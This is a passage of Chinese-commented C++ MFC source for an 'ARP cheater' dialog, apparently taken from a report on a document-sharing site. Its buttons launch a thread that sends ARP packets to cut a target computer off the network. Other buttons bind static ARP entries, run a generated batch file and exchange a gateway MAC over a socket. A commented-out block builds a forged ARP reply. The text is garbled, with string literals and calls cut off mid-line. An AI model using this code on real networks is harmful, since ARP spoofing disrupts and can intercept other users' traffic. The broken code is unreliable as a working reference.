在运行,如果要正常使用该保护功能,必须把辅助窗口[AutoRequestGateWayARP]关闭~\\n\\n务必在点下确定之前,

否则绑定静态ARP会失败~\")); }

if (!InitArp()) return;

strArpCmd.Format(\"arp -s %s %s %s\

system(strArpCmd);

this->GetDlgItem(IDC_BUTTONPROTECT)->SetWindowTextA(\">>>停止保护<<<\");

memset( protectbuff , 0 , 256 ); //可重新构造包来发送 /* pPE = (pETH_t)protectbuff ; pPA = (pARP_t)pPE->data;

pPE->eh_type = htons( ETH_TYPE ); memcpy( pPE->eh_dst ,da , 6);

memcpy( pPA->arp_tha ,da , 6); pPA->arp_hdr = htons( ARP_HARDWARE ); pPA->arp_pro = htons( IP_TYPE ); pPA->arp_opt = htons( ARP_REPLY ); pPA->arp_hln = MAC_ADDR_LEN; pPA->arp_pln = IP_ADDR_LEN;

pPA->arp_tpa = inet_addr( sendto_addr ); pPA->arp_spa = inet_addr(m_localip); memcpy( pPE->eh_src ,ta , 6); memcpy( pPA->arp_sha ,ta , 6);*/ isResume = !isResume; CWinThread* m_pWinThread =

AfxBeginThread(ProtectMy,(LPVOID)NULL,THREAD_PRIORITY_NORMAL,0,0,0); 48

m_pWinThread->m_bAutoDelete = true;

m_info += \"\\r\\n***********\\r\\n保护本地计算机到网关的链路已经启用。\\r\\n\";

} else {

isResume = !isResume;

this->GetDlgItem(IDC_BUTTONPROTECT)->SetWindowTextA(\"保护本机到网关通信\");

}

UpdateData(false); }

void CArpCheaterDlg::OnButtonstart() {

// TODO: Add your control notification handler code here // 开始运行 UpdateData(true); if (stopsend==true) {

stopsend = false; if (!InitArp()) return; //变化量

((CButton*)GetDlgItem(IDC_BUTTONSTART))->SetWindowText(_T(\"停止断开目标计算机网络\"));

//SendArpPacket(); CWinThread* m_pWinThread =

AfxBeginThread(SendArpPacket,(LPVOID)_T(\"arpcheat\"),THREAD_PRIORITY_NORMAL,0,0,0);

m_pWinThread->m_bAutoDelete = true;

m_info += _T(\"\\r\\n断开目标计算机功能已经启动~\"); } else {

stopsend = true;

((CButton*)GetDlgItem(IDC_BUTTONSTART))->SetWindowText(_T(\"断开目标计算机网络\"));

m_info += _T(\"\\r\\n断开目标计算机功能停止~\"); }

UpdateData(false); }

void CArpCheaterDlg::OnButtongetmac() {// TODO: Add your control notification handler code here

UpdateData(true);

if (m_gatewayip.IsEmpty() || m_adapter.GetCurSel() < 0 || m_localip.IsEmpty())

{

AfxMessageBox(_T(\"网卡选择及网关IP本地IP设置不能为空!\")); return; }

if (isCheckingMac) {

GetDlgItem(IDC_BUTTONGETMAC)->SetWindowTextA(_T(\"检查网关MAC\")); isCheckingMac = false; } else {

if (isResume) {

AfxMessageBox(_T(\"必须先停止本机保护.\")); return; }

// 获取真实的网关地址 FILE *fp;

if ( (fp=fopen(\"DeleteGateIPArpTable.Bat\{ 49

AfxMessageBox(_T(\"写入文件错误~~\")); return; }

fputs(\"@echo off\\n title ArpTool [AutoRequestGateWayARP]\\n echo 催化网关向本机发送ARP

消息。该程序比较耗CPU。一般5秒内就能收集足够的数据,可以关闭该窗口。结束按Ctrl+C或者关闭窗口\\n\

fputs(\":herefor\\n\fputs(\"arp -d \fputs(m_gatewayip,fp); fputs(\" \fputs(m_localip,fp);

fputs(\" >nul\\n ping -n 1 \fputs(m_gatewayip,fp); fputs(\" >nul\\n\fclose(fp);

vaildipaddress = m_gatewayip;

system(\"Start DeleteGateIPArpTable.Bat\"); isCheckingMac = true;

CWinThread* m_pWinThread = AfxBeginThread(GetCorrectMac,(LPVOID) GetDlgItem(IDC_EDITINFO),THREAD_PRIORITY_NORMAL,0,0,0); m_pWinThread->m_bAutoDelete = true;

GetDlgItem(IDC_BUTTONGETMAC)->SetWindowTextA(_T(\"停止检查\")); }

UpdateData(false); }

void CArpCheaterDlg::OnButtonclean() {// TODO: Add your control notification handler code here

UpdateData(true); m_info.Empty(); UpdateData(false); }

void CArpCheaterDlg::OnBUTTONConnet() {

// TODO: Add your control notification handler code here SocketConnect(); sentmark=true; }

void CArpCheaterDlg::ProcessPendingRead() { //定义缓冲区

char buffer[BUFFER_SIZE];

int nReceived = m_pSocket->Receive(buffer,BUFFER_SIZE,0); buffer[nReceived] = 0; ShowMsg(buffer); }

BOOL CArpCheaterDlg::SocketConnect() { CConnectDlg dlg; if(dlg.DoModal()==IDOK) {

AfxSocketInit();//Socket初始化 //创建一个新的Socket

m_pSocket = new CArpSocket(this); if (!m_pSocket->Create()) {

delete m_pSocket; m_pSocket = NULL;

AfxMessageBox(\"create socket failed\"); return FALSE; }

//连接服务器

while (!m_pSocket->Connect(dlg.m_CNT_IP,dlg.m_CNT_nPort+700)) 50 {

if (AfxMessageBox(\"Failed to connect to server\\nTry again?\== IDNO)

{

delete m_pSocket; m_pSocket = NULL; return FALSE; } }

m_strName = dlg.m_CNT_name; } else

return FALSE; UpdateData(TRUE); SendMsg(\"连接成功\"); }

void CArpCheaterDlg::OnButtonsend() {

// TODO: Add your control notification handler code here if (sentmark ==true) {

UpdateData(TRUE); CString a;

a=\"已收到服务器提供的MAC地址\"; SendMsg(a); sentmark=false; } else

AfxMessageBox(\"create socket failed\"); } void CArpCheaterDlg::SendMsg(CString strMsg) { CString str;

str.Format(\"%s:%s\

m_pSocket->Send(str.GetBuffer(0),str.GetLength(),0); }

void CArpCheaterDlg::ShowMsg(CString Msg) { UpdateData(true); m_gatewaymac=Msg; UpdateData(false); } 51

因篇幅问题不能全部显示,请点此查看更多更全内容

Copyright © 2019- 99spj.com 版权所有 湘ICP备2022005869号-5

违法及侵权请联系:TEL:199 18 7713 E-MAIL:2724546146@qq.com

本站由北京市万商天勤律师事务所王兴未律师提供法律服务